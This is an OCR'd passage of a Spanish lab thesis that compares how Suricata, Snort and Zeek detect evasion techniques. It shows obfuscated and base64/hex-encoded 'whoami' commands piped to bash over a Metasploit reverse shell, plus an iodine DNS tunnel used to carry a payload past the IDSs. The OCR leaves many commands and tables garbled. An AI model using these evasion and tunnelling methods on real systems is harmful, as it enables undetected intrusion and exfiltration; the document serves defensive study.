root@zeek: fopt/zeek/share/zeek/zeekctl# zeekctl deploy
checking configurations ...
installing ...
removing old policies in Jopt/zeek/spool/installed-scriptd
removing old policies in /Jopt/zeek/spool/installed-scriptdg
creating policy directories ...

site policies ...

standalone-layout.zeek ...

local-networks.zeek ...
zeekctl-config.zeek ...
zeekctl-config.sh ...

llustracion 7.13: Despliegue de Zeek. Fuente: Elaboracion propia

Logs

Una vez ejecutado, Zeek se iniciara, y cualquier conexion sera monitorizada y
registrada en los archivos de log. Hay una gran cantidad de ficheros de registros, siendo
los de la tabla, solo algunos de los mas comunes.

Archivo de Log Descripcion Tipo

conn.log Conexiones TCP/UDP/ICMP Protocolos de red
dns.log Actividad DNS Protocolos de red
http.log Solicitudes y respuestas HTTP Protocolos de red

ssl.log Informacion sobre handshakes SSL/TLS Protocolos de red

ssh.log Conexiones SSH Protocolos de red
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Transacciones SMTP (correo) Protocolos de red
Resultados del analisis de archivos Archivos
Informacion de certificados X.509 Archivos
Alertas generadas por Zeek Deteccion
Coincidencias con firmas definidas Deteccion
Coincidencias con datos de inteligencia Deteccion
Hosts que completaron handshakes TCP Observaciones de red
Servicios detectados en hosts Observaciones de red
Software utilizado en la red Observaciones de red
Actividades inesperadas a nivel de red Miscelaneo
Tasa de pérdida de paquetes Diagndstico
Mensajes i{lte.rnos de 5 Diagnstico
error/advertencia/informacion
Salida de error estandar al iniciar Zeek Diagnéstico
desde ZeekControl
Salida estandar al iniciar Zeek desde Diagnostico
ZeekControl
Scripts que han sido cargados por Zeek Diagnostico

Tabla 7.1: Ficheros log generados por Zeek - Lista completa de ficheros en la documentacion. [45]. Fuente:

Este ecosistema de registros demuestra el enfoque modular y extensible de Zeek,
ideal para entornos que requieren un andlisis profundo del comportamiento de red.

7.5 Conclusion General

Durante el desarrollo del laboratorio, Wazuh ha funcionado como una solucion
centralizada para la ingesta, analisis y visualizacion de eventos de seguridad generados
por multiples herramientas de deteccion de intrusiones, tanto a nivel de red (NIDS) como
de host (HIDS). Gracias a su compatibilidad con logs en formato JSON, y su sistema
robusto de decodificadores y reglas, Wazuh permite correlacionar eventos, detectar
amenazas y generar alertas relevantes para los analistas.

Cada una de las herramientas evaluadas tiene fortalezas especificas:

e Suricata ofrece rendimiento multihilo, facilidad de integraciéon con SIEM vy
compatibilidad con reglas avanzadas.

e Snort, aunque requiere pasos adicionales para adaptar reglas entre versiones,
sigue siendo altamente personalizable y eficaz.
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e Zeek aporta una capa de andlisis comportamental, permitiendo identificar
amenazas sin necesidad de firmas, lo que amplia la cobertura ante ataques

desconocidos.

Esta arquitectura modular y complementaria representa un enfoque moderno y eficaz
para la deteccion de amenazas en entornos distribuidos.

Aspecto Wazuh
: ( HIDS/ 1] SIEM/
Categoria _
2 XDR
Ubuntu 20.04

Distribucion

Plataforma integral de
seguridad en endpoints y
eventos, con analisis y
respuesta ante incidentes

Definicion

- FIM
Funciones - Correlacion
clave - Visualizacién

- Respuesta activa

- Agente en victimas e

Uso en IDS

laboratorio - Dashboard del

componente central

Suricata

NIDS

7.0.10

Kali Linux

Motor NIDS
basado en
firmas y DPI

- Deteccion
por firmas

- Logs JSON-
DPI

- IDS activo
con reglas
open-source

Snort

NIDS

3.7.4.0
Ubuntu 20.04

NIDS basado en
reglas de
comunidad y
externas

- Reglas
externas

- Conversion de
Snort2 a3

- Reglas
convertidas con
snort2lua

Zeek

NIDS

7.0.5
Ubuntu 20.04
Framework de scripts

para deteccion
comportamental

- Scripts
personalizados

- Logs extensos en
JSON

- JSON activado

- Scripts anadidos a
local.zeek

Tabla 7.2: Componentes usados en la deteccion y monitorizacion. Fuente: Elaboracion propia.
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8.1 Ofuscacion y Codificacion

La ofuscacion y codificacion son técnicas muy similares, este tipo de técnicas se
basan en modificar el contenido de un paquete para que sea dificil discernir una accién
dada. La diferencia radica en que la ofuscacion se centra en ocultar paquetes o payloads
enviandolos de forma diferente, de tal manera que se dificulte su legibilidad, pero
manteniendo la misma funcionalidad. Mientras que la codificacion consiste en
transformar algo a otro formato representacional (como Base64, hexadecimal, octal, etc.),
siendo la victima el que se encargue de decodificarlo y ejecutarlo.

Para realizar esta primera técnica, se ofuscara y codificara el comando
“whoami”, que muestra en pantalla el nombre de usuario actual.

Ofuscacion

$(echo whoami
kali

~

‘printf wh¥s¥s "oa" "mi"" ~

kali "${HOSTNAME:0:0 ‘whoami"

~

kali
IFS=".";cmd=whoami L

kali

llustracion 8.1: Listado de técnicas de ofuscacion. Fuente: Elaboracion Propia.

En la imagen se ven multiples formas de que se interprete “whoami”. Siendo las
que no contienen dicha palabra directamente, las que mas posibilidades tienen de
evadir el IDS, ya que el paquete no tendra como parte del contenido la palabra clave que
activaria la regla.

En el rol de atacante, es importante conocer diversas formar de ejecutar la
misma accion debido a las limitaciones y peculiaridades que pueden llegar a tener
los sistemas victima y sus sistemas de seguridad. En el caso de los IDS, es muy dificil
de tener un conjunto de reglas que abarque todas las posibilidades de ejecucion, con lo
que la ofuscacion puede llegar a convertirse en un recurso muy potente.
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Técnicas de ofuscacion mostradas:

e Variables concatenadas: Se fragmenta el comando en partes y se ejecuta
concatenando variables en tiempo de ejecucion.

e Comillas entre caracteres: Se separan los caracteres del comando usando
comillas para dificultar el analisis directo.

e Uso de echo y evaluacion diferida: El comando se imprime como texto y se
ejecuta usando sustitucion de comandos.

o printf con formato: Se usa printf para construir dindAmicamente el comando con
fragmentos.

e IFS y ejecucion desde variable: Se define el comando en una variable y se
ejecuta, cambiando el separador interno de campos (IFS).

e Subshell con paréntesis: El comando se ejecuta dentro de un subshell,
camuflando su forma tradicional.

o Expansion de variable vacia (HOSTNAME): Se introduce una expansion que
devuelve una cadena vacia, justo antes del comando, para alterar la forma visible
sin afectar la ejecucion.

e Ejecucion con bash -c: Se pasa el comando como una cadena al intérprete,
haciendo que no aparezca directamente en texto plano.

Codificacion

El principal beneficio de las técnicas de codificacion es que el contenido
sospechoso no aparece en texto plano en el flujo de datos, haciendo mas dificil su
deteccion por firmas estaticas. Seria necesario interpretar el contenido codificado para
realizar la deteccion, cosa que no hace un IDS por lo general.

d2hvYWlp

77686616469

llustracion 8.2: Listado de técnicas de codificacion. Fuente: Elaboracion propia.

En la imagen se muestran multiples formas codificadas de ejecutar el comando
“whoami” utilizando diferentes sistemas de codificacion.

Técnicas de codificacion mostradas:

e Base64: El comando se transforma en una cadena codificada y luego se decodifica
usando base64 -d.
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Hexadecimal: Se convierte a representacion hexadecimal y luego se decodifica
con xxd.

ROT13: Se ofusca mediante rotacion de caracteres alfabéticos (13 posiciones).

Cadena invertida (reverso): El texto se invierte y luego se revierte con rev en
tiempo real.

Octal: Se representan los caracteres en formato octal.

Hexadecimal ASCII: Cada caracter se representa en su forma hexadecimal.

8.1.1 Previo a la evasion

Para ejecutar el comando ofuscado y comprobar las alertas generadas en los IDS

se ha ejecutado el exploit “unreal ircd 3281 backdoor” del framework de
Metasploit contra la maquina victima Metasploitable2, generando una shell reverse. [46]

View the full module info with the , or command .

msf6 exploit( ) > exploit
Started reverse TCP double handler on 10.0.4.5:4444
1 .4:6667 - Connected to 10.0.4 6667 ...
Metasploitable.LAN NOTICE AUTH : Looking up your hostname ...
Metasploitable.LAN NOTICE AUTH :**x Couldn't resolve your hostname; using your IP addre
ss instead
10.0.4.4:6667 - Sending backdoor command ...
Accepted the first client connection...
Accepted the second client connection ...
Command: echo SGmA7CVswj3hqgkJn;
Writing to socket A
Writing to socket B
Reading from sockets ...
Reading from socket B
B: "SGMA7CVswj3hgkJIn\r\n™
Matching ...
A is input...
Command shell session 1 opened (10.0.4.5:4444 — 10.0.4.4:53545) at 2025-05-08 08:59:54 -040
0

id
uid=0(root) gid=0(root)

lustracion 8.3: Ejecucion del exploit unreal ircd 3281 backdoor desde Metasploit contra la maquina victima

Metasploitable2. Fuente: Ejecucion propia de un ataque mostrado en la guia de Metasploitable 2 [46].

Para esta técnica, se parte de una situacion en la que el atacante ya tiene acceso a

una maquina victima, y ahora trata de realizar acciones sospechosas sin que un IDS lo

detecte.

Ejecutar comandos directamente como se ve en la imagen hace muy sencilla la

labor de deteccion, ya que los IDS suelen de disponer de reglas para detectar el uso de
comandos potencialmente peligrosos, por lo que no seria recomendable hacerlo.

8.1.2 Ejecucion

Ofuscacion

Tras ejecutar el exploit, se ejecuta en primer lugar el comando que deberia detectar

el IDS, para posteriormente tratar de ofuscarlo, y asi ver las diferencias.
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Command shell session 5 opened (10.0.4.5:4444 — 10.0.4.4:50331) at
8 10:16:49 -0400

whoami

w="wh"; o0="0a"; m="mi"; $w$osm
root

w"h"0"a"m"i"

root

$(echo whoami)

root

printf wh%s%s "oa” "mi" | bash

*; cmd=whoami; $cmd

( whoami )

root
"${HOSTNAME: 0:0 }whoami”
root

bash -c ‘whoami’

root

llustracion 8.4: Ejecucion de técnicas de ofuscacion en Shell. Fuente: elaboracion propia.

Es importante tener en cuenta que, aunque todos los comandos en la imagen se
consideran ofuscados debido a que cambian el patron estandar de la accion a ejecutar, hay
algunas como “(whoami)” que son facilmente detectables en comparacion con los que no
envian la cadena sospechosa explicitamente.

Para ejemplificar lo débil que es “(whoami)” como ofuscacion, se utilizard
Wireshark para capturar el paquete que se envia durante su ejecucion.

.B.4.4 ICP 6/ 4444 -

.0.4.4 77 4444

0.4.4 66 4444 .

3b8916 |P5H, ACK] Seq=163 Ack=1 Wi1n=65280 Len=1 18val=229212!

:( whoa mi )

Ilustracion 8.5: Muestra de un paquete en Wireshark con el comando 'whoami' ofuscado débilmente. Fuente:
Elaboracion propia.

En el caso de que el IDS analice el paquete entero mientras busca la
coincidencia “whoami”, la alerta se generaria, evidenciando que, a pesar de cambiar el
patron del comando, la deteccion sigue siendo sencilla. Por esta razon, normalmente no
se usa este ejemplo de ofuscacion.

Por otro lado, en el ejemplo de la ilustacion 8.6, se puede ver un ejemplo de
ofuscacion mucho mas versatil y util, en el que no se muestra en ningiin segmento
“whoami”, lo que hace mucho més complicada la deteccion para un IDS.

~printf
"oa" "mi

llustracion 8.6: Muestra de un paquete en Wireshark con el comando "whoami" ofuscado robustamente. Fuente:
Elaboracion Propia.
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En cuanto a la ejecucion del comando codificado, el proceso es el mismo que en
el de la ofuscacion.

m ell session 6 opened (10.0.4.5:4444 — 10.0.4.4:56755)
5-20 17:50: -0400

echo d2hvYWip | basebs -d bash
root

echo 77686f616d69 | xxd -r -p | bash
root
printf
root
echo jubnzv tr 'A-Za-z' 'N-ZA-Mn-za-m' | bash
root

echo imaohw rev bash

root

printf "\x77\x68\x6 \x6d\x69\n" bash

\167\150\157\141\155\151\n" bash

Llustracion 8.7: Ejecucion de técnicas de codificacion en Shell. Fuente: Elaboracion Propia.

Tal como se ve en la imagen de Wireshark, “whoami” no se encuentra como parte
del contenido, a pesar de que eso es lo que ejecutara la victima.

Capturing from enp0s3

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

WA® GERE QAC I k==

@ B @ E

L] ‘Apply a display Filter ... <Ctrl-/>

3 %

No. Time Source Destination Protoco Length Info
.011800784 10.0.4.4 10.0.4. TCP
911801525 3.6 i 10.0.4.5 TCP

4
.042119185 .0.4. .8.4.
.042120287 .0.4. 8.4, TCP
4
4

[TC

.636102446
.636103363

TCP payload (37 bytes)

~ Data (37 bytes)
Data: 6563686720373736383666363136643639207c2078786420...
[Length: 37]

103 4444 -

TCP 56 — 4444 [PSH,

56756 [ACK]
56755 [PSH,

68 00 27 db bc 5d 88 8@ 27 fb ec f6 88 0O 45 0O ! E
1 00 59 ec bf 40 60 40 86 31 d7 Pa 00 04 05 Qa 0O Y--@@ 1
2 04 04 11 5¢c dd b3 9e ec f6 7a 36 57 82 11 80 18 AY zZ6W
61 fe 93 f4 G0 60 01 ©1 ©O8 Ga 95 4d 6a 78 00 40 - - - .- ... Mjx-@
LECEEC RN VEGS 63 68 6T 20 37 37 36 38 36 66 36 31 36| ffccho 7 7686761
(G4 36 39 20 7c 20 78 78 64 20 2d 72 20 2d 70 20| d69 | xx d -r -p
R 7c 20 62 61 73 68 @ | bash-
O #  Lenath (data.len) Packets: 227 - Displaved: 227 (100.0%) - Profile: Default

llustracion 8.8: Muestra de un paquete en Wireshark con el comando "whoami” codificado. Fuente: Elaboracion

Propia.

8.1.3 Suricata y Snort

Al ejecutar el comando “whoami” en una maquina victima sin codificar ni ofuscar,
Suricata genera una alerta activada por la regla 2044770. Esta regla, perteneciente al
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conjunto de reglas abiertas de Emerging Threats (ET), detecta patrones sospechosos en
trafico TCP.

llustracion 8.9: Regla de Suricata para detectar el comando "whoami". Fuente: Elaboracion Propia.

Al ser una regla del conjunto de Emerging Threats, existe una regla equivalente
para Snort, lo que resulta en una deteccion idéntica para este tipo de comando. Esto
implica que las detecciones serdn exactas en este caso para ambos IDS.

alert tcp SEXTERNAL_NET : -> SHOME_NET ( msg:
; Flow: 5 ontent: 5
H ; sid:

s

s

llustracion 8.10: Regla de Snort para detectar el comando "whoami". Fuente: Elaboracion Propia.

Ambas reglas generan una alerta al recibir un paquete TCP dirigido hacia una de
las maquinas monitorizadas, en las que encuentra en los primeros 8 bytes del campo Data
la cadena “whoami”. Ademas, en el caso de Suricata, se utiliza un umbral en el que se
define que solo se generara una alerta cada 300 segundos por cada IP de origen que active
la regla, aunque el evento ocurra varias veces.

Este umbral dificulta realizar las pruebas necesarias, con lo que creé¢ una regla
personalizada eliminando el umbral, ya que, de lo contrario, incluso si una técnica
ofuscada activase la alerta, no se mostraria.

SHELL -SPLOTT TCP [++] [CL R
LOIT TCP [*+*] [Clas ication: A Networ

1] ET HUNTING Whoami Command Inbound On High Port [+*] [Classifi

] MODIFIED ET HUNTING RULE Whoami Command Inbound On High Port

] MODIFIED ET HUNTING RULE Whoami Command Inbound On High Port
150331
] MODIFIED ET HUNTING RULE Whoami Command Inbound On High Port

Hustracion 8.11: Archivo de alertas de Suricata, fast.log tras la ejecucion de las técnicas de ofuscacion. Fuente:
Elaboracion Propia.
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En esta salida se puede observar:

o Una primera alerta activada por un exploit de Metasploit, relacionada con el uso
del puerto 4444, cominmente asociado a conexiones de tipo reverse shell. Esta
alerta puede evadirse simplemente utilizando un puerto alternativo.

e La regla original de “whoami” que se activa al ejecutar el comando de forma
directa.

o Posteriormente se activa la regla personalizada, confirmando su correcto
funcionamiento para detectar todas las ejecuciones del comando.

o Finalmente, se detecta el comando (whoami), pero el resto de variantes ofuscadas
no generan alerta, lo que indica una evasion exitosa.

Esto se debe a la limitacion de profundidad de analisis impuesta por la regla,
concretamente debido al parametro “depth:8”. Las reglas de “ET” estan disefiadas para
no analizar paquetes en su totalidad por defecto si no es necesario, ya que esto puede
generar un alto consumo de recursos y vulnerabilidad ante ataques DoS.

ip-src ==10.0.4.5 and tcp.sreport == 4444 and ip.dst == 10.0.4.4 and tcp.dstport == 50248) or (ip.src ==10.0.4.4 and tcp.srcport == 50248 and ip.dst == 10.0.4.5 and tcp.dstport == 4444)

Destination Protocol Lengtt Info

Hlustracion 8.12: Muestra del paquete enviado tras ejecutar "whoami" en Wireshark. Fuente: Elaboracion Propia.

En este ejemplo, el paquete contiene exactamente los 7 bytes de la palabra
whoami, lo que permite que Suricata y Snort la detecten facilmente dentro del margen de
8 bytes.

] d
72 4 true[ls & true &
26 20 77 68 6f 61 6d 69 Ba & whoami -

Mlustracion 8.13: Muestra de un paquete enviado con relleno en Wireshark. Fuente: Elaboracion Propia.

En este segundo caso, se ha afiadido relleno antes del comando real, desplazando
la cadena whoami maés alla del octavo byte. Como resultado, la regla no se activa.
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++ [B8] enpBs3

05/20-22:24:11.329785 [**] [1:2000355:5] "ET

*] [Classification: Misc activity] [Priority:

5:46459

05/20-22:24:22.282774 [**] [1:2044770:1] "ET
h Port"” [**] [Classification: Misc activity]
-> 10.0.4.4:40084

05/20-22:24:29.051762 [**] [1:2044770:1] "ET
h Port"” [**] [Classification: Misc activity]
-> 10.0.4.4:40084
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CHAT IRC authorization message" [*
3] {TCP} 10.0.4.4:6667 -> 10.0.4.

INFO Whoami Command Inbound On Hig
[Priority: 3] {TCP} 10.0.4.5:4444

INFO Whoami Command Inbound On Hig
[Priority: 3] {TCP} 10.0.4.5:4444

llustracion 8.14: Muestra de Reglas activadas en Snort. Fuente: Elaboracion Propia.

8.1.5 Zeek

A diferencia de Snort y Suricata, Zeek no utiliza reglas basadas en firmas. Su

mecanismo de deteccion depende principalmente de scripts personalizados que procesan
los eventos generados por el andlisis del trafico de red.

Para esta prueba se desarrolld un script de lenguaje Zeek que inspecciona el

contenido completo del payload y busca la cadena whoami (Véase el anexo “12.9 Script

de Zeek para deteccion del comando whoami”). Este enfoque permitié una mayor tasa de

deteccion frente a técnicas de evasion simples, dado que Zeek analiza todo el contenido
sin limitaciones de profundidad.

ogs/current# cat tcppayload

og_whoami_payload.

"ts": 1?4900490? 693227,"id.orig_h":"10.6.4.5", "id. orig_p":4444,"id.re
"id.resp_p":38915, 'dlrcctlon":“originator”,"payload" 'whoami\n" }
"ts":1?490649?1.056368,"id.orig_h":"10.0.4.5","id.orig_p“:4444,"td. =

"id.resp_p":38915, 'direction":“origtnator”,"payload":"(whoami)\n"}

"ts": 1?49004992 544273,"1id. orig_h":"10.0.4.5","id.orig_p“:4444,"id. e

"id.resp_p":38915, 'dlrcctlon "originator","payload":"${HOSTNAME:® 0}whogm

"ts":1749064999. 105130 "id. orlg_h" '10.0.4.5","id.orig_p":4444,"id.resp_h":"10
”id.resp_p":38915,"direction":“origtnator”,"payload":"bash -c¢ 'whoami'\n"}

"ts":1?49065009.2808?6,"id.orig h":"18.0.4.5","id. orig p 14444 ,"id.resp_h":
"id.resp_p":38915,"direction”:"originator”, payload IFs=' '; cmd=whoami; $cmd\n"

"ts":1749065016.85655,"id.orig h":"10.0.4.5","id.orig p’ .4444,”id.resp7h":

'd.resp_p":38915,"direction“:"originator","payload":”S(echo whoami)\n"}

"10.0.4.4","

lustracion 8.15: Zeek detectando "whoami". Fuente:Elaboracion propia.

No obstante, Zeek también presenta limitaciones:

e No decodifica contenido codificado.

o Las técnicas mas elaboradas siguen evadiendo la deteccion.

8.1.6 Conclusiones

"10.0.4.4"

Comando

(Evadio
Suricata?

(Evadio
Snort?

(Evadio
Zeek?

w=||WhH. 0="Oa"; m=¥|mi"; $W$O$1’l’l

2 si

M si

M si

W"h"O a m"l"

£ Si

2 si

£ Si

$(echo whoami) == Parcial | == Parcial X No
“printf wh%s%s "oa" "mi"" Si Si Si
IFS=""; cmd=whoami; $cmd == Parcial == Parcial > No
( whoami ) X No X No X No
"$ {HOSTNAME:0:0} whoami" == Parcial | == Parcial X No
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bash -¢ 'whoami' == Parcial | == Parcial X No
Técnicas de codificacion Si Si Si

Tabla 8.1: Resultados de la técnica de ofuscacion y codificacion. Fuente: Elaboracion propia.

Conclusiones principales:

e Suricata y Snort solo detectan comandos explicitos y no ofuscados ubicados
dentro de los primeros 8 bytes del paquete, aunque esto se debe a una regla
especifica, sin el pardmetro de profundidad se analizaria el paquete completo,
realizando la deteccion.

e Zeek logra detectar las variantes simples, aunque también es vulnerable frente a
técnicas mas sofisticadas que ocultan o codifican el comando.

e Aumentar la profundidad de analisis en Suricata y Snort es posible, pero impacta
negativamente en el rendimiento), en entornos de alta carga. Por lo tanto, no se
recomienda evitar el uso del parametro “depth” a la hora de crear reglas.

e Ninguno de los sistemas analizados es completamente eficaz de forma aislada
frente a técnicas de ofuscacion y codificacion.

A modo recomendacidon, se sugiere complementar estos sistemas NIDS con
tecnologias de tipo EDR (Endpoint Detection and Response), que permiten supervisar lo
que realmente se ejecuta en el sistema, independientemente de cobmo se haya transmitido.

8.2 Tunel DNS

La tunelizacion de DNS es una técnica que permite utilizar el protocolo DNS
(normalmente destinado a traducir nombres de dominio en direcciones IP) como un canal
encubierto para transmitir datos no autorizados.

Debido a que el trafico DNS es fundamental para la navegacién web y rara vez es
supervisado con detenimiento, los atacantes pueden aprovecharlo para eludir controles de
seguridad. Mediante esta técnica, es posible establecer una comunicacion entre un
dispositivo comprometido dentro de una red y un servidor controlado por el atacante,
utilizando consultas DNS manipuladas para enviar o recibir informacion maliciosa. Esto
convierte al DNS en un vector potencial de exfiltracion de datos o control remoto, lo que
representa un riesgo significativo para la seguridad de las redes corporativas. [47]

8.2.1 Previo a la evasion

Para la ejecucion de esta técnica se utilizard una herramienta llamada “iodine”, la
cual estd instalada por defecto en las versiones actuales de Kali. Tal como dice la
documentacion del propio Kali, este software hace posible tunelizar a través de un
servidor DNS, datos IPv4. [48]

Para utilizar dicha herramienta es necesario ejecutarla en las dos partes
involucradas en el tinel, tanto el servidor, como el cliente. Para facilitar la ejecucion, se
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utilizara como maquina cliente-victima una Kali Linux en vez de la Metasploitable2 vista
en anteriores casos.

En el caso de tener que hacerlo en la maquina Metasploitable2 o similar, donde
no se puede instalar directamente “iodine” u otros paquetes, se deberia enviar a la victima
el binario ya compilado para poder ejecutarlo, y establecer la conexion. Aunque en un
caso real los atacantes suelen tener herramientas de tunelizacion propias disefiadas para
casos concretos.

8.2.2 Ejecucion

La ejecucion de la herramienta “iodine” es muy sencilla, la maquina atacante actia
como servidor, donde se anade la IP de servidor, ademas del nombre de dominio por el
que se realizara el tinel.

“(x }home/kali
10.0.0.1 tunel.local

Enter password:
Opened dns®

Setting IP of dns® to 10.0.0.1

Setting MTU of dns@ to 1130

Opened IPv4 UDP socket

Listening to dns for domain tunel.local

Hlustracion 8.16: Ejecucion de iodine en el servidor — atacante para crear un tunel DNS. Fuente Elaboracion propia.

Mientras tanto, en la maquina victima (que actia como cliente) se afiade como
parametros la IP de la maquina servidor y el mismo dominio.

/home/kali
192.168.1.20 tunel.local

Enter password:

Opened dns@

Opened IPv4 UDP socket

Sending DNS queries for tunel.local to 192.168.1.20
Autodetecting DNS query type (use -T to override).

Using DNS type NULL queries

Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of dns@ to 10.0.0.2

Setting MTU of dns@ to 1130

Server tunnel IP is 10.0.0.1

Skipping raw mode

Using EDNS@ extension

Switching upstream to codec Basel28

Server switched upstream to codec Basel28

No alternative downstream codec available, using default (Raw)
Switching to lazy mode for low-latency

Server switched to lazy mode

Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. 1152 ok.. ...1344 not ok.. ...1248 not ok.. ...1200 not ok.
188 ok.. will use 1188-2=1186

Setting downstream fragment size to max 1186 ...

Connection setup complete, transmitting data.

llustracion 8.17: Ejecucion de iodine en el cliente-victima para crear un tunel DNS. Fuente: Elaboracion propia.

En el proceso de tunelizacion visto en las dos ilustraciones anteriores, se establece
internamente una tercera interfaz de red en ambas maquinas implicadas en la conexion,
denominada “dns0”. Una vez que se ha establecido el tinel, el servidor asume la direccién
IP 10.0.0.1, mientras que el cliente se conecta utilizando la IP 10.0.0.2. Esta interfaz
adicional permite la comunicacion encapsulada a través de consultas DNS, lo que puede
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resultar en la evasion de los sistemas de deteccion de intrusiones al camuflar el trafico
dentro de trafico DNS aparentemente legitimo.

3% <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1130 qdi
UNKNOWN group default qlen 500
link/none
inet /27 scope global dns@
valid_1ft forever preferred_lft forever

: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1130
NKNOWN group default qlen 500
link/none
inet /27 scope global dns@
valid_1ft forever preferred_1ft forever

llustracion 8.18: Interfaz de red creada por el tunel DNS. Fuente: Elaboracion propia.

Mediante Wireshark se puede ver como se ve el flujo de paquetes de un tinel DNS
establecido, en el que continuamente se envian consultas NULL por parte del servidor, y
response por parte del cliente.

al NULL paaak31

cal NULL paaak3ig local
L NULL paaak3ly.tunel.local

1 NULL paaak32a.tunel.local

5 1 NULL paaak32i.tunel.local
192.168.1.2

P 0@

" EpraaskIsys
tunel-1o cal-

llustracion 8.19: Flujo de paquetes con registro NULL del tunel DNS en Wireshark. Fuente: Elaboracion propia.

8.2.3 Snort y Suricata
Para comprobar el funcionamiento del tinel, se puede enviar un payload que el

IDS detectaria como malicioso al enviarlo normalmente por la interfaz eth0.

(humefkali

ftmp/test.txt

/home/kali

dns@ t i a@/tmp/test.txt http:

< |DOCTYPE html PUBLIC * DTD XHTML 1.@ Transitiomal//EN" ©
f 1tm11/DTD/xhtml1-transitional .dtd">

Tlustracion 8.20: Envio de un payload clasificado como malicioso. Fuente: Elaboracion propia.

Al ejecutar este payload, ni Suricata, ni Snort alertan sobre la carga maliciosa
“uid=0(root)”, lo que implica que la evasion fue exitosa. No obstante, si que alertan sobre
otra anormalidad en el sistema. El uso del registro NULL, que tal como dice el nombre,
es un registro vacio que no tiene utilidad, utilizado originalmente de forma experimental
[49].
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Dentro del conjunto de reglas de Emerging Threats, su uso se considera
sospechoso, lo que haria que un administrador de seguridad viese esto como un indicio
de potencial ataque.

s NULL
NULL

Long
NULL
MALWARE s ic Long
HUNTING s ious NULL
MALWARE s s Long

HUNTING s s NULL
MALWARE Sus ic Long
i NULL

MALWARE
HUNTING
MALWARE

ET MALWARE
ET_HUNTING

llustracion 8.21: Muestra de alertas generadas por Suricata por uso del registro NULL. Fuente: Elaboracion propia.

El registro DNS utilizado para el tinel es facilmente sustituible mediante iodine,
por ejemplo, se puede sustituir por el registro TXT tal como se ve en la Ilustracion 8.22.

/home/kali
TXT 192.168.1.20 tunel.local

Enter password:

Opened dns@

Opened IPv4 g

Sending D : r ] .168.1.20
Using DNS type TXT gqueries

Version ok, both using pre C ' 2. You are user
setting IP of dns@ to 10.
ing MTU of dns@ to 11
tunnel IP is 10.0.9.1
 raw UDP data to the server (skip with -r)
try login: OK

Mlustracion 8.22: Ejecucion de iodine en el cliente-victima cambiando el registro utilizado. Fuente: Elaboracion
propia.

El tinel funciona de la misma manera que lo visto anteriormente con el registro
NULL, pero esta vez no se alerta de un uso sospechoso del DNS. Aunque al verlo desde
Wireshark, es ciertamente sospechoso la cantidad de paquetes malformados detectados,
ademas de la etiqueta “extended label” en la que se encuentra el contenido enviado por el
tunel.
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Protocol Length Info

DNS 113 Unknown operation (3) response 8xi16di[Malformed Packet

DNS 116 Unknown operation (3) response 6xiedi[Malfo acket

DNS 168 Unknown operation (3) response 8x18di[Malformed Packet

DNS 247 Unknown operation (3) response 9x18di[Malformed Packet

DNS 168 Unknown operation (3) response 8x18di[Malformed Packet

ONS 758 Unknown operation (3) response 8x18d1 Unknown (59894) <Unknown extended label>[Malformed Packet]
DNS 453 Unknown operation (3) response ©x18d1 Unknown (1948) <Unknown extended label>[Malformed Packet]
DNS 493 Unknown operation (3) response 6xi18di[Malformed Packet

DNS 168 Unknown operation (3) response 8x18di[Malformed Packet

DNS 168 Unknown operation (3) response 8xi@di[Malformed Packet

DNS 565 Unknown operation (3) response 8x16di[Malformed Packet

DNS 188 Unknown operation (3) response 8x18di[Malformed Packet

DNS 611 Unknown operation (3) response 0x18d1i[Malformed Packet

DNS 189 Unknown operation (3) response 8x18di[Malformed Packet

DNS 599 Unknown operation (3) response 9x18d1 Unknown (38498) <Unknown extended label>[Malformed Packet]
DNS 168 Unknown operation (3) response 6x18di[Malformed Packet]

DNS 488 Unknown operation (3) response @x18di[Malformed Packet]

DNS 402 Unknown operation (3) response Oxi8di[Malformed Packet]

DNS 616 Unknown operation (3) response 8x18d1 Unknown (37385) <Unknown extended label> Unknown (68965) <Un
ONS 637 Unknown operation (3) response 8x18d1 Unknown (36928) <Unknown extended label>[Malformed Packet]
DNS 168 Unknown operation (3) response 6x18di[Malformed Packet

DNS 226 Unknown operation (3) response ©x16di[Malformed Packet

DNS 1068 Unknown operation (3) response @x16di[Malformed Packet

DNS 168 Unknown operation (3) response 9x18di[Malformed Packet

User Datagram Protocol, Src Port: 53322, Dst Port: 53
Domain NameVSystgmr(rgsponse)

- téxpértrln (Errbr/ﬁalformed): Malformed Packet (Exception occurred)]

[Malformed Packet (Exception occurred)]
[Severity level: Error]
[Group: Malformed]

Mlustracion 8.23: Tunel DNS mediante iodine usando registros TXT. Fuente: Elaboracion propia

Estos paquetes son clasificados como “malformados” debido a que no siguen el
formato de respuesta esperado por Wireshark. Probablemente se deba a que el contenido
del campo TXT u otro registro esta siendo usado para datos binarios codificados (el tinel
IP encapsulado) y no cumple con el estindar DNS.

Crear una regla con el “Malformed Packet” como parametro es complicado, ya
que es un valor creado por Wireshark, con lo que Suricata y Snort no disponen de este
parametro en principio. No obstante, teniendo en cuenta la carga habitual de paquetes
DNS de la red, se puede crear una regla basada en el nimero de paquetes DNS recibidos
en un pequefio lapso de tiempo, de tal manera que, si se sobrepasa, se alerte sobre un
posible tunel DNS.

8.2.4 Zeek

Para la deteccion de tuneles DNS se partio de un Script publicado en github que
se publicito en el sitio web Zeek Package Browser, donde usuarios publican scripts y
plugins que pueden ser Utiles para otros usuarios de la comunidad. [50]

Solo fue necesario modificar el evento “event DNS TUNNELS::dns_request()”, ya que
el evento sintacticamente correcto en la version actual de Zeek es dns_request. Véase
el anexo “12.11 Script de Zeek para deteccion de tunel DNS”. [51]

47175,"1d.re
The host
,"email_dest":[],"

suppress_for":3

Tlustracion 8.24: Logs generados en base a un script de deteccion de Tunel DNS en Zeek. Fuente: Elaboracion
Propia.
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Aparte de la alerta del tinel DNS generada por el script, se puede obtener mas
informacion al buscar por el “uid”, esto es bastante comun en Zeek para correlacionar
eventos, o entender el flujo de un paquete en tareas como analisis forense.

:"10.0.4.8","id.or
4779507718535

\\xcf\\xcuwnnfl\\xfa\\chyuw4\\xdaz \\xc9\\xf3cvp\\xd?\\xc?sr\\xbuapx\\xf@kl\\xeB4\\xcutnsl\\xca\
\xd71q\\xcewt\\xc7\\xea\\xed9a\\xccu\\xF2ks\\xfck\\xdof\\xed4lmgh\\xbcths1}\xed®\\xe8o.\\xd4thkl\\xca\\xc74\
